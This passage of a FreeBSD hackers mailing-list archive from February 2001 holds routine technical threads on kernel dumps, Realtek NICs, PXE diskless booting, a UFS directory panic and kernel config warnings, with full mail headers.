http://www.unixfreak.org/~dima/mdconfig1.diff The current format of the config file is: ,,... for example: md0 swap size=64m Comments? Suggestions? Thanks in advance Dima Dorfman dima@unixfreak.org P.S. Is there any reason the -b (baseaddr) option for preload disks is currently unimplemented? The patch implements it (it was one line, so I thought 'what the heck'); the ioctl works, but I was unable to test it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 19: 8:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id B9A9137B503; Thu, 1 Feb 2001 19:07:48 -0800 (PST) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.11.1/8.11.1) id f122vI221856; Fri, 2 Feb 2001 02:57:18 GMT (envelope-from nik) Date: Fri, 2 Feb 2001 02:57:17 +0000 From: Nik Clayton To: hackers@freebsd.org Cc: freebsd-gnats-submit@freebsd.org Subject: Re: docs/24035: ptrace(2) PT_STEP incorrect documentation Message-ID: <20010202025717.A21835@canyon.nothing-going-on.org> References: <200101030505.f0355T675218@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200101030505.f0355T675218@freefall.freebsd.org>; from bnjf@optushome.com.au on Tue, Jan 02, 2001 at 09:05:29PM -0800 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Folks, On Tue, Jan 02, 2001 at 09:05:29PM -0800, bnjf@optushome.com.au wrote: > >Number: 24035 > >Category: docs > >Synopsis: ptrace(2) PT_STEP incorrect documentation > >Description: > > in the man pge > PT_STEP The traced process is single stepped one instruction. The > addr and data fields are not used. > > this is a lie. you must feed ptrace() a valid value for addr, just like > PT_CONTINUE ? I've poked through ptrace.S, but it's been a long time since I did any assembler, and when I did, it was 6502. . . N -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 20: 4: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 9F15F37B4EC for ; Thu, 1 Feb 2001 20:03:43 -0800 (PST) Received: from isi.edu (hbo.isi.edu [128.9.160.75]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id UAA08495 for ; Thu, 1 Feb 2001 20:03:42 -0800 (PST) Message-ID: <3A7A3180.35697C0E@isi.edu> Date: Thu, 01 Feb 2001 20:03:12 -0800 From: Lars Eggert Organization: USC Information Sciences Institute X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, de MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: capturing an early kernel dump Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms77C998F3B4392B183CB1AD0C" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a cryptographically signed message in MIME format. --------------ms77C998F3B4392B183CB1AD0C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit [Repost from last week, no answer then.] How do I capture an early kernel dump (before rc executes and sets dumpdev)? The dump partition used to be an option in the kernel config file, but that seems to have changed in 3.X or 4.X. Thanks, Lars -- Lars Eggert Information Sciences Institute http://www.isi.edu/larse/ University of Southern California --------------ms77C998F3B4392B183CB1AD0C Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIIIwYJKoZIhvcNAQcCoIIIFDCCCBACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC BfQwggLYMIICQaADAgECAgMDIwUwDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDgyNDIwMzAwOFoXDTAxMDgyNDIwMzAw OFowVDEPMA0GA1UEBBMGRWdnZXJ0MQ0wCwYDVQQqEwRMYXJzMRQwEgYDVQQDEwtMYXJzIEVn Z2VydDEcMBoGCSqGSIb3DQEJARYNbGFyc2VAaXNpLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAz1yfcNs53rvhuw8gSDvr2+/snP8GduYY7x7WkJdyvcwb4oipNpWYIkMGP214 Zv1KrgvntGaG+jeugAGQt0n64VusgcIzQ6QDRtnMgdQDTAkVSQ2eLRSQka+nAPx6SFKJg79W EEHmgKQBMtZdMBYtYv/mTOcpm7jTJVg+7W6n04UCAwEAAaN3MHUwKgYFK2UBBAEEITAfAgEA MBowGAIBBAQTTDJ1TXlmZkJOVWJOSkpjZFoyczAYBgNVHREEETAPgQ1sYXJzZUBpc2kuZWR1 MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAUiKvxYINmVfTkWMdGHcBhvSPXw4wwDQYJKoZI hvcNAQEEBQADgYEAi65fM/jSCaPhRoA9JW5X2FktSFhE5zkIpFVPpv33GWPPNrncsK13HfZm s0B1rNy2vU7UhFI/vsJQgBJyffkLFgMCjp3uRZvBBjGD1q4yjDO5yfMMjquqBpZtRp5op3lT d01faA58ZCB5sxCb0ORSxvXR8tc9DJO0JIpQILa6vIAwggMUMIICfaADAgECAgELMA0GCSqG SIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD VQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9D ZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29u YWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0 ZS5jb20wHhcNOTkwOTE2MTQwMTQwWhcNMDEwOTE1MTQwMTQwWjCBlDELMAkGA1UEBhMCWkEx FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoT BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv bmFsIEZyZWVtYWlsIFJTQSAxOTk5LjkuMTYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGB ALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeS Bl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzz lZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAGjNzA1MBIGA1UdEwEB/wQIMAYBAf8CAQAwHwYD VR0jBBgwFoAUcknCczTGVfQLdnKBfnf0h+fGsg4wDQYJKoZIhvcNAQEEBQADgYEAa8ZZ6TH6 6bbssQPY33Jy/pFgSOrGVd178GeOxmFw523CpTfYnbcXKFYFi91cdW/GkZDGbGZxE9AQfGuR b4bgITYtwdfqsgmtzy1txoNSm/u7/pyHnfy36XSS5FyXrvx+rMoNb3J6Zyxrc/WG+Z31AG70 HQfOnZ6CYynvkwl+Vd4xggH3MIIB8wIBATCBnDCBlDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoTBlRoYXd0ZTEd MBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt YWlsIFJTQSAxOTk5LjkuMTYCAwMjBTAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkq hkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDIwMjA0MDMxMlowIwYJKoZIhvcNAQkEMRYE FAkPPPfN/FOUgfTulYzVwaZLGGFIMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYI KoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0G CSqGSIb3DQEBAQUABIGANEjMUiIeywDSzDQ3fP2dU4xcdPeRIbjkSNbPge5IOEuYLTpFs3g/ +HuDyILhlJ5lP+94w85OmyLzbyyET8/6TOAZC2JKyzCBJHMeTaodbiFQFsDYJUsB3QIMqjzK g4ZAQdcL5L93B2Cb5kie4xZXc+DCNuMjEdPhBeI9ffF3vsM= --------------ms77C998F3B4392B183CB1AD0C-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 20:42:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from www.evil.2y.net (ip-216-23-55-121.adsl.one.net [216.23.55.121]) by hub.freebsd.org (Postfix) with ESMTP id DF02D37B4EC for ; Thu, 1 Feb 2001 20:42:01 -0800 (PST) Received: (from cokane@localhost) by www.evil.2y.net (8.11.2/8.11.1) id f124sAE59042; Thu, 1 Feb 2001 23:54:10 -0500 (EST) (envelope-from cokane) Date: Thu, 1 Feb 2001 23:54:10 -0500 From: Coleman Kane To: Warner Losh Cc: "Koster, K.J." , "'so@server.i-clue.de'" , freebsd-hackers@FreeBSD.ORG Subject: Re: Realtek card support Message-ID: <20010201235410.A58975@cokane.yi.org> References: <59063B5B4D98D311BC0D0001FA7E4522026D7B95@l04.research.kpn.com> <200102020035.f120Z7934612@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200102020035.f120Z7934612@harmony.village.org>; from imp@harmony.village.org on Thu, Feb 01, 2001 at 07:35:47PM -0500 X-Vim: vim:tw=70:ts=4:sw=4 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I usually don't recommend the 8139/29 for anything that is expected to work consistently. The cards work alright, but I prefer to stick to Digital or Intel based NICs for important tasks. Warner Losh had the audacity to say: > > We've had horrible luck with the realtek 8139 with a few of our 10MBps > hubs. We've had OK luck with cross over cables, but not good enough > to run with that configuration in our deployed systems. > > We've also found that this is due to autonegotiation is the cause of > this and that if we explicitly choose 10BaseT it works well enough to > deploy in our systems. > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 20:43:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from harmony.village.org (rover.village.org [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id CBDD237B4EC for ; Thu, 1 Feb 2001 20:43:15 -0800 (PST) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f124h7936044; Thu, 1 Feb 2001 21:43:07 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200102020443.f124h7936044@harmony.village.org> To: Coleman Kane Subject: Re: Realtek card support Cc: "Koster, K.J." , "'so@server.i-clue.de'" , freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Thu, 01 Feb 2001 23:54:10 EST." <20010201235410.A58975@cokane.yi.org> References: <20010201235410.A58975@cokane.yi.org> <59063B5B4D98D311BC0D0001FA7E4522026D7B95@l04.research.kpn.com> <200102020035.f120Z7934612@harmony.village.org> Date: Thu, 01 Feb 2001 21:43:07 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010201235410.A58975@cokane.yi.org> Coleman Kane writes: : I usually don't recommend the 8139/29 for anything that is expected : to work consistently. The cards work alright, but I prefer to stick : to Digital or Intel based NICs for important tasks. Same here. However, with the SBCs we buy, we have little choice since they all seem to want to use RealTek. Likely due to bottom feeding reasons. I've also had good luck with 3Com NICs (use one in my main home server), but mixed luck with some Tulip and tulip-like clones. The dc driver does help that a lot, however... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21: 9:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.orem.verio.net (gatekeeper.orem.verio.net [192.41.0.8]) by hub.freebsd.org (Postfix) with ESMTP id 37BDB37B491; Thu, 1 Feb 2001 21:09:26 -0800 (PST) Received: from mx.dmz.orem.verio.net (mx.dmz.orem.verio.net [10.1.1.10]) by gatekeeper.orem.verio.net (Postfix) with ESMTP id C10F23BF118; Thu, 1 Feb 2001 22:09:25 -0700 (MST) Received: from vespa.dmz.orem.verio.net (vespa.dmz.orem.verio.net [10.1.1.59]) by mx.dmz.orem.verio.net (8.11.1/8.11.1) with ESMTP id f1259In83274; Thu, 1 Feb 2001 22:09:19 -0700 (MST) (envelope-from fclift@verio.net) Date: Thu, 1 Feb 2001 22:33:47 -0700 (MST) From: Fred Clift X-Sender: fred@vespa.dmz.orem.verio.net To: Doug White Cc: Danny Braniss , John Baldwin , Terry Lambert , Paul Saab , freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting - PXE/diskless In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Feb 2001, Doug White wrote: > This is a bug in the adaptec BIOS. Don't do this for boot disks. Use > fdisk/real slices instead. Or possibly, dont do this for any disk in the system. Some bioses choke even on non-boot disks with DD partitioning... Fred -- Fred Clift - fclift@verio.net -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21:21:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.oregonfast.net (mail.oregonfast.net [63.228.228.11]) by hub.freebsd.org (Postfix) with SMTP id 5652C37B4EC for ; Thu, 1 Feb 2001 21:21:02 -0800 (PST) Received: (qmail 97420 invoked by uid 89); 2 Feb 2001 05:21:01 -0000 Message-ID: <20010202052101.97419.qmail@mail.oregonfast.net> From: "Dan Langille" To: freebsd-hackers@freebsd.org Cc: freebsd-stable@freebsd.org Subject: panic: ufs_dirbad: bad dir Date: Fri, 02 Feb 2001 05:21:01 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: dan@evilcode.com Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I recently upgraded a box from 4.1-stable to 4.2-stable. An NFS mount was used for the install world and install kernel. During the kernel install the box panic'd (sorry, didn't see the message). Upon boot, the box give these messages: Mounting root from ufs:/dev/ad0s1a /: bad dir ino 2 at offset 0: mangled entry panic: ufs_dirbad: bad dir syncing disks.... 1 1 1 1 1 1 1 1..etc giving up on 1 buffers I did an fsck on the disk by moving it to another box. The above messages appeared both before and after the fsck. Clues please! -- Dan Langille - novice in training [my thanks to evilcode.com for the emergency email access] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21:35: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id A76B337B4EC; Thu, 1 Feb 2001 21:34:48 -0800 (PST) Received: from whizzo.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.11.1/8.11.0) with ESMTP id f125Yl812054; Fri, 2 Feb 2001 00:34:48 -0500 (EST) (envelope-from louie@whizzo.transsys.com) Message-Id: <200102020534.f125Yl812054@whizzo.transsys.com> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Jean-Marc Zucconi Cc: Warner Losh , hackers@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: EBCDIC -> ASCII References: <20010131214403.G17598@ringworld.oblivion.bg> <200101311642.f0VGgXv06307@iguana.aciri.org> <200102020036.f120as934631@harmony.village.org> <200102020049.f120n6M50078@freefall.freebsd.org> In-reply-to: Your message of "Thu, 01 Feb 2001 16:49:06 PST." <200102020049.f120n6M50078@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 02 Feb 2001 00:34:47 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >>>>> Warner Losh writes: > > > Even the name (dd) comes from IBM's control language (JSYS?). > > Huh! I never realized that. > //GO.SYSIN DD * > ... > // > Where are my punch cards? :-) man 6 bcd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21:38:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.oregonfast.net (mail.oregonfast.net [63.228.228.11]) by hub.freebsd.org (Postfix) with SMTP id 5B62637B4EC for ; Thu, 1 Feb 2001 21:38:18 -0800 (PST) Received: (qmail 98632 invoked by uid 89); 2 Feb 2001 05:38:17 -0000 Message-ID: <20010202053817.98631.qmail@mail.oregonfast.net> References: <20010202052101.97419.qmail@mail.oregonfast.net> In-Reply-To: <20010202052101.97419.qmail@mail.oregonfast.net> From: "James" To: "Dan Langille" Cc: freebsd-hackers@freebsd.org, freebsd-stable@freebsd.org Subject: Re: panic: ufs_dirbad: bad dir Date: Fri, 02 Feb 2001 05:38:17 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: daemus@oregonfast.net Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What part of the kernel install did it panic on? (if you even saw that part) Have you tried booting the previous kernel? I'm not sure if it'll even boot... but, you might want to try that. You might also wanna try installing the same /kernel and /modules that you were when it panic'd, while you have the drive mounted on another box. Just an idea or two. Dan Langille writes: > I recently upgraded a box from 4.1-stable to 4.2-stable. An NFS mount was > used for the install world and install kernel. During the kernel install > the box panic'd (sorry, didn't see the message). Upon boot, the box give > these messages: > > Mounting root from ufs:/dev/ad0s1a > /: bad dir ino 2 at offset 0: mangled entry > panic: ufs_dirbad: bad dir > > syncing disks.... 1 1 1 1 1 1 1 1..etc > giving up on 1 buffers > > > I did an fsck on the disk by moving it to another box. The above messages > appeared both before and after the fsck. > > Clues please! > > -- > Dan Langille - novice in training > [my thanks to evilcode.com for the emergency email access] > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21:48:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.oregonfast.net (mail.oregonfast.net [63.228.228.11]) by hub.freebsd.org (Postfix) with SMTP id 9AE4F37B4EC for ; Thu, 1 Feb 2001 21:47:52 -0800 (PST) Received: (qmail 99362 invoked by uid 89); 2 Feb 2001 05:47:51 -0000 Message-ID: <20010202054751.99361.qmail@mail.oregonfast.net> References: <20010202052101.97419.qmail@mail.oregonfast.net> <20010202053817.98631.qmail@mail.oregonfast.net> In-Reply-To: <20010202053817.98631.qmail@mail.oregonfast.net> From: "Dan Langille" To: "James" Cc: freebsd-stable@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: panic: ufs_dirbad: bad dir Date: Fri, 02 Feb 2001 05:47:51 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: dan@evilcode.com Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James writes: > What part of the kernel install did it panic on? (if you even saw that > part) Sorry, I forgot to mention that. Here is what was left on my remote screen after the panic: root@ducky:/usr/src/sys/compile/DUCKY] # make install chflags noschg /kernel mv /kernel /kernel.old install -c -m 555 -o root -g wheel -fschg kernel /kernel if [ -d /modules -a -n "`ls /modules`" ]; then mkdir -p /modules.old; cp -p /modules/* /modules.old; fi; > Have you tried booting the previous kernel? I'm not sure if it'll > even boot... but, you might want to try that. I tried the old kernel, but it failed to get past the probing. I can't remember the messages, but it was something like "isa_?? cannot get ports for le...... cannot get irq for le". > You might also wanna try installing the same /kernel and /modules that you > were when it panic'd, while you have the drive mounted on another box. There is no /kernel.old any more. I have installed the new 4.2 kernel when the drive was mounted in another box. Its that kernel which produce the messages below. Thanks. > Dan Langille writes: > >> I recently upgraded a box from 4.1-stable to 4.2-stable. An NFS mount was >> used for the install world and install kernel. During the kernel install >> the box panic'd (sorry, didn't see the message). Upon boot, the box give >> these messages: >> >> Mounting root from ufs:/dev/ad0s1a >> /: bad dir ino 2 at offset 0: mangled entry >> panic: ufs_dirbad: bad dir >> >> syncing disks.... 1 1 1 1 1 1 1 1..etc >> giving up on 1 buffers >> >> >> I did an fsck on the disk by moving it to another box. The above messages >> appeared both before and after the fsck. >> >> Clues please! >> >> -- >> Dan Langille - novice in training >> [my thanks to evilcode.com for the emergency email access] >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-hackers" in the body of the message > -- Dan Langille - novice in training To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 21:52:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from never.tellme.com (never.tellme.com [209.157.156.27]) by hub.freebsd.org (Postfix) with ESMTP id 28FD537B491 for ; Thu, 1 Feb 2001 21:52:04 -0800 (PST) Received: by never.tellme.com (Postfix, from userid 501) id CE15671659; Thu, 1 Feb 2001 21:52:03 -0800 (PST) Date: Thu, 1 Feb 2001 21:52:03 -0800 From: Danny Howard To: freebsd-hackers@freebsd.org Subject: pxeboot -> init does error 5 Message-ID: <20010201215203.A72803@never.tellme.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Loop: djhoward@uiuc.edu Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG http://people.freebsd.org/~alfred/pxe/ But I get tired of dicking around with mfsroot vnode devices and such. The first thing I tried was taking the contents of the boot floppies and just sticking them in /usr/tftpboot. No dice, because then you end up with a read-only NFS root, which upsets sysinstall. How to get around that? The thing that bit me, I'm guessing, was removing the "load -T mfs_root /mfsroot" from loader.rc. I think load mfs_root creates an md filesystem. Now my thought is that if I can boot a minimal "diskless" install over the network, I can then fetch an appropriate install.cfg for the client and run sysinstall with it. So, I blew out /usr/tftpboot, and installed the bin distribution in there, copied the tfpboot back, set 'vfs.nfs.diskless_valid="1"' in boot/loader.conf, did a basic rc.conf and tried re-booting the client system. No such luck. It can't load init!!! NFS ROOT 172.16.0.1:/usr/tftpboot nfs_getpages: 13 exec /sbin/init: error 5 It then complains that init is not found in the path ... I can put sysinstall in /stand, but since the magic "setting up an mfsroot" never happened in /etc/rc.diskless1 there's no rw filesystem for sysinstall to work with. :( 4.1.1-RELEASE, btw. Any ideas? Thanks, -danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 22:21:57 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.oregonfast.net (mail.oregonfast.net [63.228.228.11]) by hub.freebsd.org (Postfix) with SMTP id C9BC537B65D for ; Thu, 1 Feb 2001 22:21:38 -0800 (PST) Received: (qmail 1882 invoked by uid 89); 2 Feb 2001 06:21:38 -0000 Message-ID: <20010202062138.1881.qmail@mail.oregonfast.net> References: <20010202052101.97419.qmail@mail.oregonfast.net> <20010202053817.98631.qmail@mail.oregonfast.net> In-Reply-To: <20010202053817.98631.qmail@mail.oregonfast.net> From: "Dan Langille" To: "James" Cc: freebsd-hackers@freebsd.org, freebsd-stable@freebsd.org Subject: Re: panic: ufs_dirbad: bad dir Date: Fri, 02 Feb 2001 06:21:38 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: dan@evilcode.com Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After a suggestion offlist, here's the additional information from a boot -v: Mounting root from ufs:/dev/ad0s1a ad0s1: type 0xa5, start 63, end = 2503871, size 2503809 : OK /: bad dir ino 2 at offset 0: mangled entry panic: ufs_dirbad: bad dir syncing disks.... 1 1 1 1 1 1 1 1..etc giving up on 1 buffers thanks folks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 23:39:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 678F237B491 for ; Thu, 1 Feb 2001 23:39:34 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f127dUW23005; Thu, 1 Feb 2001 23:39:31 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102020739.f127dUW23005@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Lars Eggert Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: capturing an early kernel dump In-Reply-To: <3A7A3180.35697C0E@isi.edu> Date: Thu, 01 Feb 2001 23:39:30 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Lars Eggert wrote: > [Repost from last week, no answer then.] > > How do I capture an early kernel dump (before rc executes and sets > dumpdev)? > > The dump partition used to be an option in the kernel config file, but that > seems to have changed in 3.X or 4.X. > > Thanks, > Lars How early? We could dump if you were prepared to hardwire in the minor and major device numbers to get to the devsw[] vectors and manually set the offsets. The biggest problem is that if it is Really Early (TM) we may not have read the disk label and may not be able to see what the partitions look like. It may need to be blindly dumped using a magic offset that you supply somewhere and *hope* that you get the numbers correct so you dont trash something. Alternatively.. dedicate a disk for it and just start dumping to the beginning of the disk and work upwards... Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 23:44:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id B768037B491 for ; Thu, 1 Feb 2001 23:44:19 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f127iEW23075; Thu, 1 Feb 2001 23:44:14 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102020744.f127iEW23075@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: gbuchana@home.com Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Config doesn't understand wired SCSI devices any more In-Reply-To: Date: Thu, 01 Feb 2001 23:44:14 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gardner Buchanan wrote: > Hi, > > I cvsupped 4.2-STABLE last night and did a buildworld. > This part was okay. Now I'm trying to build a kernel > and config is complaining about the config lines that > wire down my SCSI devices. > > Config says this: > > config: line 83: sym 0 not defined > > My Kernel config looks like this: > > 72 device ncr # NCR/Symbios Logic > 73 device sym # NCR/Symbios Logic (newer chipsets) Change this to 'sym0' and it will shut up config(8). It should have worked anyway, this is a config(8) warning only. When the kernel boots it will look up the strings you have supplied and will use 'sym0' regardless of what config said. This used to be just a warning, but people started using config(8) in automated scripts (such as make buildkernel) which effectively hid the messages. There was no difference between "not really a problem" error messages like this or more serious ones. config relied on a human to judge if it was serious or not. 'make buildkernel' was igoring it totally and stopping humans from seeing it at all by scrolling the results off the screen in a fraction of a second. > 75 #device adv0 at isa? > 76 #device adw > 77 #device bt0 at isa? > 78 #device aha0 at isa? > 79 #device aic0 at isa? > 80 > 81 # Wired down SCSI unit numbers. > 82 # > 83 device scbus0 at sym0 > 84 device da0 at scbus0 target 3 unit 0 > 85 device cd0 at scbus0 target 3 unit 1 > 86 device da1 at scbus0 target 6 > 87 device da2 at scbus0 target 9 > > If 